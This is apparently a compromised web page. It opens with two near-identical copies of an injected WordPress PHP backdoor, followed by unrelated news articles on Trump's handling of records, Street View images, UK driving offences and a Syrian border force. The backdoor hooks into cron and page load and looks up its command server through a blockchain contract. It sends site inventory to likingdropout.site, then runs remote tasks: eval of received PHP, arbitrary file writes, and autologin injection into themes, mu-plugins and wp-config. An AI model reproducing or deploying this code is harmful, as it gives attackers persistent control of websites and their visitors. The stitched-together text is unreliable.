// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
Saul Loeb/AFP via Getty Images
Former White House press secretary Stephanie Grisham said that she regularly saw former President Donald Trump "mishandle" sensitive records.
She told USA Today that this included seeing him putting records in his jacket pocket, risking staffers without the security clearance being able to see them.
Grisham told the outlet that this posed a potential national-security threat, but Trump either didn't realise or didn't care.
The USA today article also drew on officials from past White House administrations saying that Trump's handling of documents appeared to be a troubling breakdown in the protocols meant to kept such files safe.
Concerns about the former president's handling of federal records led to the FBI searching his Mar-a-Lago residence in August. They found more than 10,000 government documents, many of which were classified.
Some of the records were so sensitive that even agents needed special clearance to see them, according to Justice Department court documents.
Exactly how documents are required to be handled depends on their level of classification. The most secret ones are meant only to be viewed in secure facilities.
But, per court filings connected to the raid at Mar-a-Lago, highly classified records were instead kept mingled with other records, newspaper cuttings and scraps of Trump's handwritten notes.
Grisham has previously said that during Trump's time in office, records would "just disappear", and that he carelessly stored classified documents in boxes along with newspapers and miscellaneous paperwork.
She and other former aides have also previously spoken about Trump and his staff's treatment of official documents, including ripping, burning and flushing them.
Grisham joined the Trump campaign in 2016 and went on to serve in various roles, including Trump's press secretary and Chief of Staff and press secretary for First Lady Melania Trump.
She quit the administration on January 6, 2021, as the Capitol riot was unfolding, and has since become a vocal critic of the former president.
Trump in return has attacked Grisham and said that she is not telling the truth about him.
https://i.insider.com/615320b3b414c1001862b211?format=jpeg
]]>
The Google Maps Street View images captured a woman doing her job by cleaning windows.
Where she is from is not known, although the shutters outside the windows suggest somewhere in Europe where they are popular.
The woman was dressed in a purple top and blue skirt while attempting to wash the shutters.
She terrifyingly risked her life while on the job.
While cleaning, the woman leaned out of the window dangerously close to the edge.
She stepped on the ledge while leaning around to wash the shutters.
The lady appeared to be rather calm and didn’t seem to be scared of falling off.
The images do not show how high up the woman was but could be suggested that she was at least a couple of floors up.
Thankfully she seemed to know what she was doing and managed to clean the windows without injury.
Many countries in Europe use shutters outside the windows, apart from the UK.
They are often used to keep the heat out of the building, with many places abroad experiencing high heats during the summer months.
The UK, however, does not experience extreme summers so has no need for them.
Window cleaners in the UK often use technical equipment to wash windows to ensure they stay safe.
Hopefully the woman caught in the images also knew how to stay safe even without a harness.
A man was also caught in a bad situation when near a window.
Clad in printed trousers and a white t-shirt he was spotted peering into a window.
It is unknown if he knew the residents or was being rude.
Another man was spotted trying to escape a window, climbing out a second story house.
His intentions are known although he already had one leg out of the window when captured by Google Maps.
SPONSORED: Presented by Coinseed Investing in cryptocurrencies has been hugely rewarding and risky at the same time. A lot has depended on how and when you started. Just a year ago, one bitcoin was worth $ 1,000. Currently, it’s worth more than $ 7,000 after falling from its all-time high of $ 19,000 in December, 2017. You could have made tons o…Read More
]]>
Despite it being common knowledge that you need to have car insurance to operate a vehicle in the UK, hundreds of thousands of drivers are still taking risks annually.
Driving without car insurance carries some hefty punishments.
These include hefty fines, criminal prosecutions and, in some cases, having your car crushed.
The police could hand you a fixed penalty of £300 and 6 penalty points, if you’re caught driving a vehicle you’re not insured to drive.
If the case goes to court you could also get an unlimited fine and a disqualification from driving.
The police also have the power to seize, and in some cases, destroy the vehicle that’s being driven uninsured.
New research from Cuuver has revealed the hotspots across the UK for uninsured drivers.
The insurance company sent out Freedom of Information requests out to police forces throughout the country, asking for the number of fines and prosecutions for driving without insurance over the last five years.
Durham topped the chart for the most unsure drivers per capita with 1,087 recorded incidents of driving without insurance recorded between 2013 and 2016 – on average 0.57 per cent of the city’s residents.
Coming in second is Greater London with 70,384 uninsured drivers being caught, which works out as 0.21 per cent of the city’s population.
The city that came in the lowest on the list was Manchester.
Despite a population of 2,782,100, only 1,810 uninsured drivers have been fined or prosecuted since 2013, averaging just 0.02% of Manchester’s populace.
According to the research there has been over 118,000 non-insured drivers caught in the last 4 years.
Thomson Reuters
The U.S.-led coalition is working with its Syrian militia allies to set up a new border force of 30,000 personnel, the coalition said on Sunday, a move that has added to Turkish anger over U.S. support for Kurdish-dominated forces in Syria.
A senior Turkish official told Reuters the U.S. training of the new “Border Security Force” is the reason that the U.S. charge d’affaires was summoned in Ankara on Wednesday. The official did not elaborate.
The force, whose inaugural class is currently being trained, will be deployed at the borders of the area controlled by the Syrian Democratic Forces (SDF) – an alliance of militias in northern and eastern Syria dominated by the Kurdish YPG.
In an email to Reuters, the coalition’s Public Affairs Office confirmed details of the new force reported by The Defense Post. About half the force will be SDF veterans, and recruiting for the other half is underway, the coalition’s Public Affairs Office said.
The force will deploy along the border with Turkey to the north, the Iraqi border to the southeast, and along the Euphrates River Valley, which broadly acts as the dividing line separating the U.S.-backed SDF and Syrian government forces backed by Iran and Russia.
John Moore/Getty Images
U.S. support for the SDF has put enormous strain on ties with NATO ally Turkey, which views the YPG as an extension of the Kurdistan Workers’ Party (PKK) – a group that has waged a three-decade insurgency in Turkey.
Syria’s main Kurdish groups have emerged as one of the few winners of the Syrian war, and are working to entrench their autonomy over swathes of northern Syria.
Washington opposes those autonomy plans, even as it has backed the SDF, the main partner for the U.S.-led coalition against Islamic State in Syria.
The coalition said the BSF would operate under SDF command and around 230 individuals were currently undergoing training in its inaugural class.
“Efforts are taken to ensure individuals serve in areas close to their homes. Therefore, the ethnic composition of the force will be relative to the areas in which they serve.
“More Kurds will serve in the areas in northern Syria. More Arabs will serve in areas along the Euphrates River Valley and along the border with Iraq to the south,” the coalition’s Public Affairs Office said.
“A NEW MISSION”
“The base of the new force is essentially a realignment of approximately 15,000 members of the SDF to a new mission in the Border Security Force as their actions against ISIS draw to a close,” it said.
Thomson Reuters
“They will be providing border security through professionally securing checkpoints and conducting counter-IED operations,” it said, adding that coalition and SDF forces were still engaging Islamic State pockets in Deir al-Zor province.
IED stands for improvised explosive device.
The United States has about 2,000 troops in Syria fighting Islamic State, and has said it is prepared to stay in the country until it is certain Islamic State is defeated, that stabilization efforts can be sustained, and there is meaningful progress in U.N.-led peace talks on ending the conflict.
The Syrian government in Damascus has declared the United States an illegal occupation force, and its SDF allies as “traitors”. A top Syrian Kurdish politician told Reuters last week the United States appeared in no hurry to leave Syria.
NOW WATCH: An exercise scientist reveals the exercise regime that will burn the most fat
]]>
A new study has revealed that millions of motorway drivers could be potentially putting themselves at risk of landing a £100 and three penalty points.
The data from Direct Line Car Insurance reveals that an average of half (50 per cent) of all vehicles travel in the middle lane and 27 per cent travel in the outside lane.
Over 70 hours of footage was analysed and found that just 23 per cent of motorists travel on the inside lane.
This is a clear flouting of a rule in the Highway Code which states “you should always drive in the left-hand lane when the road ahead is clear” by millions of drivers.
Additional research found that 43 per cent of motorists are driving in the middle lane even when the left lane is clear.
This is called ‘middle lane hogging’ and is a finable offence.
Drivers could be hit with £100 fine and three penalty points if caught, but it is a hard offence to police making a fine unlikely.
Some excuses used by drivers is that they know they will have to overtake lorries further down the motorway (43 per cent) and that they don’t want to change lane as much (33 per cent).
Just half (51 per cent) of Britain’s motorists are aware they could be prosecuted for driving without due care and attention for remaining in the middle lane when the inside lane is free.
Rob Miles, director of car insurance at Direct Line, commented: “Our analysis of traffic flows shows that millions of drivers risk prosecution by travelling in the middle and outside lanes when the inside lanes are entirely clear.
“It’s important that we increase awareness of the rules and penalties, primarily because they exist to keep road users safe but also drivers face serious fines and endorsements that that will stay on their record for four years.”
Miles continues: “Many motorists claim they want to avoid changing lanes to overtake, but this is a crucial skill and in-car technologies such as blind spot and safe distance warnings can help drivers to travel safely.
“Academics also believe middle lane hogging can increase congestion, as in moderately busy periods people can be trapped in the left hand lane, unable to overtake slower moving traffic.”
Drivers are being warned that they can face a fine of £1,000 if their car’s number plate is obscured by dirt or grime.
Keeping your car clean can often be impossible with sudden changes in weather and while there is no law saying drivers should wash their vehicles, there is one that requires the number plate to be dirt free.
In the colder winter months cars are much more likely to get dirty because of the road surface.
This is due to the constant wet conditions plus grit and salt on the road from the temperate weather conditions.
Driving causes all of this dirt to be thrown into the air by the rear tyres which will splatter the back of the car – much like on a bicycle when driving through a puddle.
When this sits and sticks to the number plate it could make it illegible which is when a driver can be fined.
The Government clarifies the legal position as follows: “Number plates (also known as licence plates) should show your vehicle registration number correctly.
“You can’t rearrange letters or numbers, or alter them so that they’re hard to read.”
In addition to the £1,000 fine it is enough of an offence for a car to fail its MOT.
Previously the DVLA explained the rules “There is a specific offence under the Vehicle Excise and Registration Act 1994 of obscuring or allowing a registration mark to be not easily distinguishable.
“All registration numbers must be displayed clearly and correctly on the number plate – this helps the police, enforcement agencies and members of the public to correctly identify a vehicle to assist road safety and traffic enforcement”.
Legal requirements of a number plate:
-be made from a reflective material
-display black characters on a white background (front plate)
-display black characters on a yellow background (rear plate)
-not have a background pattern
Number plate rules:
If you ride a motorbike or motor tricycle
